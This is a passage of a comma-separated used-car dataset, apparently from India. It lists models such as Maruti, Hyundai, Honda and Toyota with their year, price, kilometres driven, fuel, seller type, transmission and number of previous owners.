110PS Diesel RxL,2015,465000,41123,Diesel,Dealer,Manual,First Owner +Toyota Camry Hybrid 2.5,2017,1900000,20118,Petrol,Dealer,Automatic,First Owner +Honda City i DTec SV,2014,450000,40000,Diesel,Dealer,Manual,First Owner +Volkswagen Jetta 2.0L TDI Highline,2015,790000,52517,Diesel,Dealer,Manual,First Owner +Mahindra Marazzo M2 8Str,2019,900000,20000,Diesel,Individual,Manual,First Owner +Ford Ecosport 1.5 DV5 MT Titanium Optional,2014,450000,99117,Diesel,Dealer,Manual,First Owner +Chevrolet Spark 1.0 LS,2009,135000,90000,Petrol,Individual,Manual,First Owner +Maruti Celerio ZXI MT BSIV,2019,425000,3700,Petrol,Individual,Manual,First Owner +Tata Indica Vista Terra 1.4 TDI,2010,100000,80000,Diesel,Individual,Manual,First Owner +Ford EcoSport 1.5 TDCi Titanium BSIV,2015,650000,100000,Diesel,Individual,Manual,Second Owner +Tata Indica Vista Aqua 1.4 TDI,2011,90000,54000,Diesel,Individual,Manual,First Owner +Hyundai EON Era Plus,2017,250000,19000,Petrol,Individual,Manual,First Owner +Maruti Swift Dzire VDI,2014,300000,120000,Diesel,Individual,Manual,First Owner +Maruti Wagon R VXI BS IV,2014,275000,30000,Petrol,Individual,Manual,First Owner +Honda BRV i-VTEC V MT,2017,600000,43500,Petrol,Individual,Manual,First Owner +Renault KWID RXT,2016,270000,60000,Petrol,Individual,Manual,Second Owner +Renault KWID RXT Optional,2016,240000,70000,Petrol,Individual,Manual,Second Owner +Skoda Octavia Elegance 2.0 TDI AT,2014,1200000,135000,Diesel,Individual,Automatic,Third Owner +Chevrolet Beat Diesel LS,2012,160000,50000,Diesel,Individual,Manual,First Owner +Honda Jazz 1.5 VX i DTEC,2018,790000,19571,Diesel,Dealer,Manual,First Owner +Honda City i-VTEC ZX,2018,1200000,29600,Petrol,Dealer,Manual,First Owner +Maruti Swift LXI,2011,175000,70000,Petrol,Individual,Manual,First Owner +Maruti Vitara Brezza ZDi Plus AMT Dual Tone,2018,950000,15000,Diesel,Individual,Automatic,First Owner +Maruti Celerio LXI MT BSIV,2019,340000,50000,Petrol,Individual,Manual,First Owner +Renault Captur 1.5 Diesel RXT,2017,825000,13500,Diesel,Individual,Manual,First Owner +Audi A4 30 TFSI Technology,2018,3100000,22000,Petrol,Individual,Automatic,First Owner +Honda Amaze VX Diesel BSIV,2018,780000,25000,Diesel,Dealer,Manual,First Owner +Toyota Corolla Altis 1.8 VL AT,2010,350000,80000,Petrol,Individual,Automatic,Third Owner +Honda Amaze VX Petrol BSIV,2018,690000,39000,Petrol,Dealer,Manual,First Owner +Maruti Alto 800 VXI,2016,245000,60000,Petrol,Individual,Manual,First Owner +Honda Amaze VX Diesel BSIV,2018,790000,49000,Diesel,Dealer,Manual,First Owner +Honda Amaze VX i-VTEC,2018,680000,48600,Petrol,Dealer,Manual,First Owner +Hyundai Grand i10 Asta Option,2017,540000,20000,Petrol,Individual,Manual,Second Owner +Mahindra KUV 100 mFALCON G80 K2,2016,425000,25000,Petrol,Individual,Manual,First Owner +Maruti Zen Estilo Sports,2008,140000,120000,Petrol,Individual,Manual,First Owner +Maruti Ertiga ZDI Plus,2019,1100000,30000,Diesel,Individual,Manual,First Owner +Renault Lodgy 85PS RxL,2015,715000,35000,Diesel,Individual,Manual,First Owner +Maruti Swift VXI,2013,370000,90000,Petrol,Individual,Manual,First Owner +Hyundai Verna CRDi ABS,2007,175000,80000,Diesel,Individual,Manual,Second Owner +Mercedes-Benz E-Class 230,1998,1000000,35000,Petrol,Individual,Automatic,Second Owner +Maruti Alto 800 LXI,2013,92800,25000,Petrol,Individual,Manual,Second Owner +Tata Xenon XT EX 4X2,2014,291000,90000,Diesel,Individual,Manual,First Owner +Maruti Alto 800 LXI,2013,92800,25000,Petrol,Individual,Manual,Second Owner +Renault KWID 1.0 RXT Optional,2016,350000,20000,Petrol,Individual,Manual,First Owner +Maruti Omni 5 Str STD,1998,65000,60000,Petrol,Dealer,Manual,Third Owner +Maruti Swift Dzire VDI,2015,650000,58000,Diesel,Individual,Manual,First Owner +Maruti Wagon R LX BS IV,2014,350000,40000,Petrol,Dealer,Manual,First Owner +Maruti Wagon R LXI,2005,75000,70000,Petrol,Individual,Manual,Second Owner +Hyundai i20 Asta (o) 1.4 CRDi (Diesel),2012,440000,70000,Diesel,Dealer,Manual,First Owner +Hyundai Santro Xing GLS,2013,270000,60000,Petrol,Individual,Manual,First Owner +Toyota Innova 2.5 V Diesel 7-seater,2014,1150000,135000,Diesel,Dealer,Manual,First Owner +Maruti Omni 8 Seater BSII,2015,238000,70000,Petrol,Dealer,Manual,First Owner +Mercedes-Benz B Class B180 Sports,2013,1100000,40000,Petrol,Individual,Automatic,Second Owner +Mahindra XUV500 W10 2WD,2015,1200000,75000,Diesel,Dealer,Manual,Second Owner +Skoda Fabia 1.2L Diesel Ambiente,2010,260000,150000,Diesel,Individual,Manual,First Owner +Toyota Etios VD,2012,350000,140000,Diesel,Individual,Manual,Third Owner +Toyota Etios Liva VD,2015,480000,70000,Diesel,Individual,Manual,First Owner +Toyota Etios Liva GD,2012,345000,137250,Diesel,Individual,Manual,Second Owner +Mahindra Scorpio M2DI,2013,500000,110000,Diesel,Individual,Manual,Second Owner +Hyundai Grand i10 Asta Option,2017,595000,27000,Petrol,Dealer,Manual,First Owner +Hyundai Verna CRDi 1.6 SX Option,2019,1295000,9000,Diesel,Dealer,Manual,First Owner +Volkswagen Vento 1.5 TDI Highline BSIV,2019,1350000,5400,Diesel,Dealer,Manual,Test Drive Car +Renault KWID Climber 1.0 MT Opt BSIV,2020,541000,1000,Petrol,Dealer,Manual,Test Drive Car +Hyundai Santro Asta,2018,515000,16000,Petrol,Dealer,Manual,First Owner +Ford Figo Aspire Titanium Plus Diesel,2019,894999,13000,Diesel,Dealer,Manual,Test Drive Car +Renault Pulse RxZ Optional,2012,325000,47000,Diesel,Dealer,Manual,First Owner +Maruti Ciaz 1.4 Alpha,2018,925000,22000,Petrol,Individual,Manual,First Owner +Nissan Terrano XL P,2017,844999,30000,Petrol,Individual,Manual,First Owner +Maruti Ciaz 1.4 Alpha,2018,925000,20000,Petrol,Individual,Manual,First Owner +Tata Manza Club Class Quadrajet90 LX,2013,300000,60000,Diesel,Individual,Manual,First Owner +Toyota Camry M/t,2008,650000,75000,Petrol,Individual,Manual,Second Owner +Maruti Alto K10 LXI,2010,175000,64000,Petrol,Dealer,Manual,First Owner +Maruti SX4 S Cross DDiS 320 Delta,2015,325000,80000,Diesel,Individual,Manual,First Owner +Renault Duster 85PS Diesel RxZ,2017,600000,90000,Diesel,Individual,Manual,First Owner +Maruti Swift ZXI Plus,2018,700000,30000,Petrol,Individual,Manual,First Owner +Toyota Corolla H3,2003,95000,120000,Petrol,Individual,Automatic,Second Owner +Maruti Celerio ZXI,2019,490000,20000,Petrol,Dealer,Manual,First Owner +Tata Safari DICOR 2.2 EX 4x2,2013,380000,100000,Diesel,Individual,Manual,First Owner +Hyundai Grand i10 1.2 Kappa Sportz Dual Tone,2018,550000,31000,Petrol,Dealer,Manual,First Owner +Maruti Alto 800 LXI,2013,225000,47000,Petrol,Dealer,Manual,First Owner +Tata Nexon 1.2 Revotron XM,2018,570000,11200,Petrol,Individual,Manual,First Owner +Maruti Alto 800 LXI,2018,305000,35000,Petrol,Dealer,Manual,First Owner +Maruti Wagon R Duo Lxi,2010,240000,50000,LPG,Dealer,Manual,First Owner +Maruti Ertiga SHVS VDI,2015,700000,55000,Diesel,Dealer,Manual,First Owner +Maruti Omni E MPI STD BS IV,2018,288000,20000,Petrol,Dealer,Manual,First Owner +Mahindra Bolero B4,2017,800000,75000,Diesel,Dealer,Manual,First Owner +Maruti Celerio VXI,2017,430000,93000,Petrol,Dealer,Manual,First Owner +Chevrolet Beat Diesel LT Option,2009,195000,57000,Diesel,Dealer,Manual,Second Owner +Maruti Eeco Smiles 5 Seater AC,2014,325000,30000,Petrol,Dealer,Manual,First Owner +Renault Duster 85PS Diesel RxE,2013,450000,73000,Diesel,Dealer,Manual,First Owner +Maruti Swift Dzire VDI,2016,630000,65000,Diesel,Dealer,Manual,First Owner +Maruti Swift 1.3 VXi,2009,250000,62000,Petrol,Dealer,Manual,Second Owner +Hyundai Santro GLS I - Euro II,2007,135000,85000,Petrol,Dealer,Manual,First Owner +Chevrolet Spark 1.0 PS,2010,110000,73000,Petrol,Individual,Manual,First Owner +Maruti Swift ZDi,2012,350000,55000,Diesel,Dealer,Manual,First Owner +Maruti Omni E MPI STD BS IV,2016,240000,5800,Petrol,Individual,Manual,Second Owner +Toyota Innova 2.5 V Diesel 8-seater,2009,350000,350000,Diesel,Individual,Manual,First Owner +Maruti Swift ZXI Plus,2018,600000,30000,Petrol,Individual,Manual,First Owner +Maruti Swift Dzire VDI,2018,750000,20000,Diesel,Individual,Manual,First Owner +Hyundai EON Era Plus,2018,270000,20000,Petrol,Individual,Manual,First Owner +Maruti Alto LXi,2007,90000,100000,Petrol,Individual,Manual,Second Owner +Maruti Wagon R Stingray VXI,2013,350000,65000,Petrol,Individual,Manual,First Owner +Ford Figo Diesel Celebration Edition,2013,285000,90000,Diesel,Individual,Manual,Second Owner +Toyota Innova 2.5 E Diesel MS 7-seater,2011,665000,267000,Diesel,Individual,Manual,Second Owner +Mahindra Scorpio 2.6 CRDe,2005,175000,250000,Diesel,Individual,Manual,Second Owner +Mahindra Xylo D2,2011,350000,140000,Diesel,Individual,Manual,Second Owner +Honda City i-VTEC CVT ZX,2018,1225000,22000,Petrol,Dealer,Automatic,First Owner +Honda Jazz Select Edition Active,2010,285000,60000,Petrol,Dealer,Manual,Second Owner +Honda City i-VTEC VX,2018,1000000,28635,Petrol,Dealer,Manual,First Owner +Honda Amaze VX Diesel BSIV,2018,780000,32114,Diesel,Dealer,Manual,First Owner +Maruti Celerio VXI,2014,300000,82000,Petrol,Dealer,Manual,Second Owner +Maruti Swift VXI BSIII,2006,160000,95149,Petrol,Dealer,Manual,Second Owner +Honda Amaze VX i-VTEC,2018,625000,68458,Petrol,Dealer,Manual,First Owner +Maruti Ritz VXi,2010,265000,42000,Petrol,Individual,Manual,First Owner +Honda City i DTEC V,2014,515000,90000,Diesel,Individual,Manual,Second Owner +Hyundai EON D Lite,2016,210000,30000,Petrol,Individual,Manual,First Owner +Maruti Alto LXi,2009,140000,80000,Petrol,Individual,Manual,Second Owner +Toyota Innova 2.5 GX (Diesel) 7 Seater,2015,940000,128000,Diesel,Individual,Manual,First Owner +Nissan Terrano XV Premium 110 PS,2013,750000,80000,Diesel,Individual,Manual,First Owner +Maruti Baleno Alpha 1.3,2016,610000,100000,Diesel,Individual,Manual,First Owner +Nissan Sunny XV D Premium Leather,2015,450000,50000,Diesel,Individual,Manual,First Owner +Toyota Etios Liva GD,2012,409999,56000,Diesel,Individual,Manual,First Owner +Hyundai EON 1.0 Era Plus,2018,100000,21302,Petrol,Individual,Manual,First Owner +Hyundai i20 Active 1.4 SX,2016,650000,100000,Diesel,Individual,Manual,First Owner +Mahindra TUV 300 T8,2017,650000,80000,Diesel,Individual,Manual,First Owner +Hyundai Getz 1.3 GLS,2010,150000,105546,Petrol,Individual,Manual,First Owner +Toyota Etios Liva 1.2 V,2018,500000,10000,Petrol,Individual,Manual,First Owner +Toyota Innova 2.5 GX 7 STR BSIV,2012,1000000,80000,Diesel,Individual,Manual,Second Owner +Hyundai i20 Magna Optional 1.2,2013,340000,35000,Petrol,Individual,Manual,First Owner +Hyundai Elite i20 Asta Option BSIV,2019,800000,11240,Petrol,Individual,Manual,First Owner +Toyota Innova 2.5 G (Diesel) 8 Seater,2013,1010000,120000,Diesel,Individual,Manual,First Owner +Toyota Etios GD,2011,350000,120000,Diesel,Individual,Manual,Third Owner +Maruti Swift VDI BSIV,2016,595000,70000,Diesel,Individual,Manual,First Owner +Mahindra Scorpio VLX 2WD BSIV,2014,700000,130000,Diesel,Individual,Manual,Third Owner +Renault KWID RXL,2019,265000,40000,Petrol,Individual,Manual,First Owner +Maruti Alto K10 VXI,2015,320000,60000,Petrol,Individual,Manual,Second Owner +Honda City 1.5 S MT,2011,310000,110000,Petrol,Individual,Manual,First Owner +Honda City i DTEC VX,2014,700000,130000,Diesel,Individual,Manual,First Owner +Maruti Alto LXi BSIII,2009,130000,80000,Petrol,Individual,Manual,Second Owner +Maruti Swift Dzire VDi,2009,150000,120000,Diesel,Individual,Manual,Second Owner +Honda Amaze E i-Dtech,2015,300000,104000,Diesel,Individual,Manual,Second Owner +Maruti Swift Dzire LXi,2011,150000,100000,Petrol,Individual,Manual,Second Owner +Honda City 1.3 EXI,2003,120000,132343,Petrol,Individual,Manual,Second Owner +Hyundai Creta 1.4 CRDi S Plus,2016,950000,90000,Diesel,Individual,Manual,Second Owner +Maruti Wagon R VXI BS IV,2007,100000,60000,Petrol,Individual,Manual,Second Owner +Honda Jazz 1.5 SV i DTEC,2015,450000,76000,Diesel,Individual,Manual,First Owner +Maruti 800 EX,2004,30000,60000,Petrol,Individual,Manual,Third Owner +Mahindra Renault Logan 1.6 Petrol GLSX,2009,200000,30000,Petrol,Individual,Manual,Second Owner +Tata Indigo LS,2010,250000,96000,Diesel,Individual,Manual,Second Owner +Mahindra Marazzo M8 8Str,2018,1300000,10000,Diesel,Individual,Manual,First Owner +Toyota Etios Liva 1.4 VD,2017,425000,36000,Diesel,Dealer,Manual,First Owner +Honda Amaze VX O iDTEC,2017,550000,12997,Diesel,Dealer,Manual,First Owner +Maruti Ciaz 1.4 AT Zeta,2017,500000,40000,Petrol,Individual,Automatic,First Owner +Hyundai Verna CRDi 1.6 SX Option,2018,1150000,26430,Diesel,Dealer,Manual,First Owner +Maruti Swift 1.3 VXI ABS,2015,475000,24600,Petrol,Dealer,Manual,First Owner +Maruti Wagon R LXI,2011,260000,28481,Petrol,Dealer,Manual,First Owner +Ford Ecosport 1.0 Ecoboost Titanium Optional,2013,350000,100000,Petrol,Individual,Manual,First Owner +Mahindra XUV500 W8 2WD,2013,750000,41988,Diesel,Dealer,Manual,First Owner +Maruti Wagon R LXI,2009,180000,30375,Petrol,Dealer,Manual,First Owner +Renault KWID Climber 1.0 AMT BSIV,2017,350000,7658,Petrol,Dealer,Automatic,First Owner +Maruti Swift Dzire VDI,2017,611000,34400,Diesel,Dealer,Manual,First Owner +Renault KWID RXL BSIV,2017,325000,18500,Petrol,Dealer,Manual,First Owner +Maruti Alto VXi,2015,280000,26134,Petrol,Dealer,Manual,First Owner +Maruti Wagon R AMT VXI,2014,300000,28942,Petrol,Dealer,Automatic,First Owner +Mahindra XUV500 W8 2WD,2012,711000,53600,Diesel,Dealer,Manual,First Owner +Toyota Innova 2.5 G (Diesel) 8 Seater,2015,851000,53652,Diesel,Dealer,Manual,First Owner +Maruti Ritz VDi,2011,260000,52895,Diesel,Dealer,Manual,First Owner +Hyundai Verna SX Diesel,2013,550000,42324,Diesel,Dealer,Manual,Second Owner +Mahindra XUV500 W10 1.99 mHawk,2016,1044999,65000,Diesel,Dealer,Manual,First Owner +Mahindra Scorpio EX,2012,550000,60236,Diesel,Dealer,Manual,First Owner +Maruti Wagon R VXI BS IV,2014,210000,70000,Petrol,Individual,Manual,Second Owner +Maruti Wagon R VXI BS IV,2014,210000,70000,Petrol,Individual,Manual,Third Owner +Mahindra Xylo E8,2009,290000,100000,Diesel,Individual,Manual,Second Owner +Fiat 500 Lounge,2008,250999,110000,Diesel,Individual,Manual,First Owner +Renault Triber RXT BSIV,2019,600000,10300,Petrol,Individual,Manual,First Owner +Fiat Grande Punto EVO 1.3 Active,2014,270000,120000,Diesel,Individual,Manual,Second Owner +Tata New Safari 4X4 EX,2012,550000,142000,Diesel,Individual,Manual,First Owner +Mahindra TUV 300 mHAWK100 T8,2017,800000,25000,Diesel,Individual,Manual,First Owner +Tata Altroz XE,2020,500000,5000,Petrol,Individual,Manual,First Owner +Hyundai Creta 1.6 CRDi SX,2016,535000,52600,Diesel,Individual,Manual,First Owner +Hyundai Grand i10 1.2 Kappa Sportz BSIV,2016,396000,28643,Petrol,Dealer,Manual,First Owner +Honda City i DTEC VX,2014,600000,50000,Diesel,Individual,Manual,First Owner +Maruti Wagon R ZXI 1.2,2019,575000,30000,Petrol,Dealer,Manual,First Owner +Hyundai Santro Sportz BSIV,2020,520000,5000,Petrol,Individual,Manual,First Owner +Mahindra XUV500 AT W10 FWD,2018,1400000,30000,Diesel,Individual,Automatic,First Owner +Maruti Baleno Delta Automatic,2018,600000,7600,Petrol,Individual,Automatic,First Owner +Chevrolet Beat Diesel LS,2013,195000,47253,Diesel,Dealer,Manual,First Owner +Maruti Alto K10 VXI AGS,2015,281000,4432,Petrol,Dealer,Automatic,Second Owner +Tata Indica GLS BS IV,2010,75000,110000,Petrol,Individual,Manual,Second Owner +Hyundai Grand i10 Sportz,2014,400000,25000,Petrol,Individual,Manual,First Owner +Tata Indica Vista Terra 1.4 TDI,2009,93000,70000,Diesel,Individual,Manual,Second Owner +Hyundai i20 Active S Petrol,2016,560000,68523,Petrol,Dealer,Manual,First Owner +Hyundai EON 1.0 Era Plus,2019,400000,5000,Petrol,Individual,Manual,First Owner +Tata Tigor 1.2 Revotron XT,2018,459999,40000,Petrol,Individual,Manual,First Owner +Hyundai Xcent 1.2 CRDi E,2017,450000,43000,Diesel,Individual,Manual,First Owner +Maruti Alto Green LXi (CNG),2010,88000,80251,CNG,Dealer,Manual,Second Owner +Hyundai i20 1.2 Era,2010,250000,34500,Petrol,Individual,Manual,Second Owner +Ford Ikon 1.4 ZXi,2000,22000,42743,Petrol,Dealer,Manual,Third Owner +Chevrolet Beat Diesel LS,2013,130000,93900,Diesel,Individual,Manual,Second Owner +Maruti Zen VXi - BS III,2004,79000,80000,Petrol,Individual,Manual,First Owner +Chevrolet Beat Diesel LS,2012,120000,110000,Diesel,Individual,Manual,First Owner +BMW 7 Series 730Ld,2011,1700000,100000,Diesel,Individual,Automatic,Second Owner +Chevrolet Optra Magnum 2.0 LT,2012,300000,25000,Diesel,Individual,Manual,First Owner +Chevrolet Optra Magnum 2.0 LT,2012,300000,25000,Diesel,Individual,Manual,First Owner +Maruti A-Star Lxi,2009,145000,25000,Petrol,Individual,Manual,First Owner +Ford Endeavour 3.2 Titanium AT 4X4,2019,3200000,20000,Diesel,Individual,Automatic,First Owner +Chevrolet Spark 1.0 LT,2013,240000,10000,Petrol,Individual,Manual,First Owner +Honda WR-V i-DTEC VX,2018,700000,30000,Diesel,Individual,Manual,First Owner +Hyundai Accent GLX,2010,145000,110000,Petrol,Individual,Manual,Second Owner +Maruti Ertiga VDI Limited Edition,2014,535000,80000,Diesel,Individual,Manual,Second Owner +Mahindra KUV 100 mFALCON G80 K2 Plus,2016,420000,21000,Petrol,Individual,Manual,First Owner +Maruti Alto K10 VXI,2016,350000,20000,Petrol,Individual,Manual,First Owner +Maruti Swift VDI BSIV,2015,550000,32000,Diesel,Individual,Manual,First Owner +Mitsubishi Montero 3.2 MT,2007,750000,180000,Diesel,Individual,Manual,First Owner +Tata Indica Vista Aqua 1.3 Quadrajet ABS BSIV,2012,198000,70000,Diesel,Individual,Manual,Second Owner +Hyundai i20 Magna Optional 1.4 CRDi,2013,420000,50000,Diesel,Individual,Manual,First Owner +Hyundai i20 Magna Optional 1.4 CRDi,2013,420000,50000,Diesel,Individual,Manual,First Owner +Ford Endeavour 4x2 XLT,2004,195000,120000,Diesel,Individual,Manual,First Owner +Hyundai EON Sportz,2012,150000,55766,Petrol,Individual,Manual,Second Owner +Nissan Micra XL,2011,275000,40000,Petrol,Individual,Manual,Second Owner +Maruti 800 Std,2001,65000,60000,Petrol,Individual,Manual,Third Owner +Maruti Swift LXi BSIV,2008,200000,50000,Petrol,Individual,Manual,First Owner +Maruti Swift Dzire VDi,2010,250000,110000,Diesel,Individual,Manual,Second Owner +Renault Duster 85PS Diesel RxL,2013,450000,1000,Diesel,Dealer,Manual,Second Owner +Maruti Ignis 1.3 Delta,2018,590000,26350,Diesel,Dealer,Manual,First Owner +Maruti SX4 Vxi BSIV,2012,225000,110000,Petrol,Individual,Manual,Second Owner +Tata Indigo CS LX (TDI) BS-III,2015,225000,68745,Diesel,Dealer,Manual,First Owner +Maruti Alto 800 LXI,2006,165000,132000,Petrol,Individual,Manual,First Owner +Mahindra Bolero Power Plus SLX,2019,860000,35000,Diesel,Individual,Manual,First Owner +Mahindra XUV500 W6 2WD,2016,900000,47000,Diesel,Individual,Manual,First Owner +Tata Indigo TDI,2013,182000,100000,Diesel,Individual,Manual,First Owner +Tata Indica Vista Terra 1.4 TDI,2010,100000,80000,Diesel,Individual,Manual,First Owner +Hyundai Santro Xing XL eRLX Euro III,2006,100000,40000,Petrol,Individual,Manual,Second Owner +Maruti Alto K10 VXI AGS,2017,375000,27289,Petrol,Dealer,Automatic,First Owner +Tata Tiago XZA AMT,2018,525000,10980,Petrol,Dealer,Automatic,First Owner +Hyundai EON Era Plus,2016,320000,24662,Petrol,Dealer,Manual,First Owner +Maruti Swift Dzire VDI,2013,525000,37000,Diesel,Dealer,Manual,First Owner +Nissan Evalia XV,2014,650000,28245,Diesel,Dealer,Manual,First Owner +Hyundai Grand i10 1.2 CRDi Sportz Option,2017,575000,27005,Diesel,Dealer,Manual,First Owner +Hyundai i10 Magna,2014,355000,39227,Petrol,Dealer,Manual,First Owner +Mahindra KUV 100 D75 K4 Plus 5Str,2016,470000,31367,Diesel,Dealer,Manual,First Owner +Maruti Wagon R LXI,2008,221000,35008,Petrol,Dealer,Manual,First Owner +Hyundai Santro Xing GLS,2009,195000,27005,Petrol,Dealer,Manual,First Owner +Maruti Zen VX,2001,85000,86000,Petrol,Individual,Manual,Second Owner +Maruti Swift VDI,2013,400000,50000,Diesel,Individual,Manual,First Owner +Maruti Baleno Delta 1.3,2017,650000,20000,Diesel,Individual,Manual,First Owner +Hyundai i10 Magna 1.2,2010,400000,50000,Petrol,Individual,Manual,First Owner +Tata Manza Aura (ABS) Quadrajet BS IV,2012,295000,80000,Diesel,Individual,Manual,Second Owner +Maruti Omni LPG STD BSIV,2006,60000,135000,LPG,Individual,Manual,Fourth & Above Owner +Maruti Zen D PS,2003,110000,120000,Diesel,Individual,Manual,Third Owner +Fiat Linea 1.3 Multijet Emotion,2015,550000,113600,Diesel,Individual,Manual,First Owner +Hyundai Santro Xing GLS,2008,190000,70000,Petrol,Individual,Manual,Third Owner +Ford Aspire Titanium Plus Diesel BSIV,2018,861999,20000,Diesel,Dealer,Manual,First Owner +Ford Aspire Titanium Plus BSIV,2018,782000,14000,Petrol,Dealer,Manual,First Owner +Ford Freestyle Titanium Plus Diesel BSIV,2018,836000,26000,Diesel,Dealer,Manual,First Owner +Honda City i VTEC V,2016,696000,138925,Petrol,Dealer,Manual,First Owner +Honda Jazz 1.5 VX i DTEC,2016,596000,121764,Diesel,Dealer,Manual,First Owner +Honda Jazz 1.2 VX i VTEC,2016,612000,105429,Petrol,Dealer,Manual,First Owner +Maruti Alto 800 LXI,2015,114999,35000,Petrol,Individual,Manual,First Owner +Tata Bolt Quadrajet XE,2017,340000,60000,Diesel,Individual,Manual,First Owner +Maruti Swift ZXI Plus,2020,550000,5000,Petrol,Individual,Manual,First Owner +Chevrolet Aveo U-VA 1.2 LT,2008,114999,70000,Petrol,Individual,Manual,Third Owner +Maruti Wagon R VXI,2000,105000,80000,Petrol,Individual,Manual,First Owner +Maruti Vitara Brezza ZDi,2019,890000,20000,Diesel,Individual,Manual,First Owner +Tata Nexon 1.2 Revotron XZ Plus,2019,715000,8000,Petrol,Individual,Manual,First Owner +Hyundai i20 Asta (o),2014,525000,54000,Petrol,Dealer,Manual,Second Owner +Volkswagen Jetta 2.0L TDI Highline AT,2012,735000,55300,Diesel,Dealer,Automatic,First Owner +Honda Amaze S i-VTEC,2016,495000,11958,Petrol,Dealer,Manual,First Owner +Hyundai Creta 1.6 SX Option,2017,1025000,9000,Petrol,Dealer,Manual,First Owner +Mahindra XUV500 W8 2WD,2015,750000,70000,Diesel,Individual,Manual,First Owner +Renault Duster 85PS Diesel RxL Optional,2013,600000,120000,Diesel,Individual,Manual,First Owner +Hyundai i20 Asta 1.2,2014,475000,23122,Petrol,Dealer,Manual,Second Owner +Hyundai Santro Xing XO,2007,80000,58000,Petrol,Dealer,Manual,Second Owner +Mahindra Bolero 2011-2019 SLE,2013,325000,62200,Diesel,Dealer,Manual,First Owner +Audi A6 2.0 TDI Premium Plus,2014,1470000,34000,Diesel,Dealer,Automatic,Second Owner +Fiat Avventura MULTIJET Emotion,2015,350000,53000,Diesel,Individual,Manual,Second Owner +Audi A8 4.2 TDI,2013,2800000,49000,Diesel,Dealer,Automatic,First Owner +Datsun RediGO 1.0 S,2017,210000,15000,Petrol,Dealer,Manual,Second Owner +Chevrolet Cruze LT,2012,349000,44500,Diesel,Dealer,Manual,Second Owner +Volkswagen Jetta 1.4 TSI Comfortline,2013,450000,50000,Petrol,Individual,Manual,First Owner +Audi A4 2.0 TDI 177 Bhp Premium Plus,2013,1150000,53000,Diesel,Dealer,Automatic,First Owner +Honda Civic 1.8 V AT,2009,210000,63500,Petrol,Dealer,Automatic,First Owner +Mercedes-Benz E-Class Exclusive E 200 BSIV,2018,4500000,9800,Petrol,Dealer,Automatic,First Owner +Volkswagen Polo GTI,2017,825000,13599,Petrol,Dealer,Automatic,First Owner +BMW X1 sDrive 20d xLine,2017,2750000,13000,Diesel,Individual,Automatic,First Owner +Chevrolet Beat Diesel,2012,160000,110000,Diesel,Individual,Manual,First Owner +Mahindra Scorpio SLE BSIV,2014,550000,100000,Diesel,Individual,Manual,Second Owner +Maruti Swift 1.3 VXI ABS,2006,95000,110000,Petrol,Individual,Manual,Third Owner +Toyota Innova 2.5 G (Diesel) 7 Seater,2014,725000,90000,Diesel,Individual,Manual,Second Owner +Tata Tigor 1.2 Revotron XZ Option,2019,670000,17000,Petrol,Individual,Manual,First Owner +Maruti Alto LX,2008,65000,140000,Petrol,Individual,Manual,First Owner +Mahindra Xylo D4,2015,500000,50000,Diesel,Individual,Manual,Second Owner +Mahindra KUV 100 mFALCON G80 K8 5str,2017,600000,53000,Petrol,Individual,Manual,First Owner +Maruti Wagon R VXI Optional,2017,350000,70000,Petrol,Individual,Manual,Second Owner +Chevrolet Beat Diesel LT,2012,200000,70000,Diesel,Individual,Manual,Second Owner +Hyundai Getz 1.5 CRDi GVS,2008,110000,154000,Diesel,Individual,Manual,Third Owner +Hyundai EON Sportz,2012,150000,80000,Petrol,Individual,Manual,First Owner +Maruti Zen D PS,2003,75000,110000,Diesel,Individual,Manual,Second Owner +Honda Amaze EX i-Dtech,2013,350000,90000,Diesel,Individual,Manual,Second Owner +Toyota Innova Crysta 2.4 VX MT 8S BSIV,2018,1700000,15000,Diesel,Individual,Manual,First Owner +BMW X1 sDrive20d,2011,890000,86000,Diesel,Individual,Automatic,Second Owner +Mahindra Scorpio M2DI,2014,500000,120000,Diesel,Individual,Manual,First Owner +Hyundai Elite i20 Sportz Plus Dual Tone BSIV,2019,600000,5200,Petrol,Individual,Manual,First Owner +Chevrolet Beat LS,2010,99000,60000,Petrol,Individual,Manual,Second Owner +Hyundai i10 Era 1.1 iTech SE,2011,235000,46000,Petrol,Individual,Manual,First Owner +Tata Indigo GLX,2006,75000,40000,Petrol,Individual,Manual,Second Owner +Honda City i DTEC VX,2014,600000,90000,Diesel,Individual,Manual,Second Owner +Hyundai Verna CRDi 1.6 SX,2019,1000000,25000,Diesel,Individual,Manual,Second Owner +Hyundai Verna 1.6 SX,2012,390000,90000,Diesel,Individual,Manual,First Owner +Volkswagen Polo 1.5 TDI Highline,2015,600000,70000,Diesel,Individual,Manual,First Owner +Hyundai i20 1.2 Spotz,2017,600000,70000,Petrol,Individual,Manual,Second Owner +Hyundai Elite i20 Magna Plus Diesel,2019,730000,35000,Diesel,Individual,Manual,Second Owner +Hyundai Grand i10 1.2 Kappa Magna AT,2017,450000,12700,Petrol,Individual,Automatic,First Owner +Maruti Ritz LDi,2011,250000,80000,Diesel,Individual,Manual,First Owner +Mahindra XUV500 W10 2WD,2018,1400000,20000,Diesel,Individual,Manual,First Owner +Renault KWID 1.0 RXT Optional,2018,300000,20000,Petrol,Individual,Manual,First Owner +Ford EcoSport 1.5 Petrol Titanium BSIV,2017,800000,19000,Petrol,Individual,Manual,First Owner +Fiat Grande Punto Active (Diesel),2009,125000,95000,Diesel,Individual,Manual,Second Owner +BMW X1 sDrive 20d xLine,2019,2600000,9500,Diesel,Individual,Automatic,First Owner +Skoda Fabia 1.2 MPI Ambition Plus,2012,300000,50000,Petrol,Individual,Manual,First Owner +Volkswagen Polo Diesel Trendline 1.2L,2012,295000,90000,Diesel,Individual,Manual,First Owner +Ford Ecosport 1.0 Ecoboost Platinum Edition BSIV,2013,650000,45839,Petrol,Dealer,Manual,First Owner +Chevrolet Aveo 1.4 LS,2010,200000,74510,Petrol,Dealer,Manual,First Owner +Chevrolet Aveo U-VA 1.2 LS,2009,130000,87293,Petrol,Dealer,Manual,First Owner +Ford Figo Diesel EXI,2012,250000,156040,Diesel,Dealer,Manual,First Owner +Ford Endeavour 2.5L 4X2 MT,2004,400000,93415,Diesel,Dealer,Manual,First Owner +Ford Aspire Titanium BSIV,2017,430000,101159,Petrol,Dealer,Manual,First Owner +Hyundai EON 1.0 Kappa Magna Plus,2015,170000,80000,Petrol,Individual,Manual,Second Owner +Tata Tiago 2019-2020 XZ,2019,450000,12000,Petrol,Individual,Manual,First Owner +Maruti Swift ZXI,2013,350000,90000,Petrol,Individual,Manual,First Owner +Chevrolet Spark 1.0 LT,2011,130000,68519,Petrol,Dealer,Manual,First Owner +Chevrolet Beat Diesel LS,2012,180000,55130,Diesel,Dealer,Manual,First Owner +Ford Ecosport 1.0 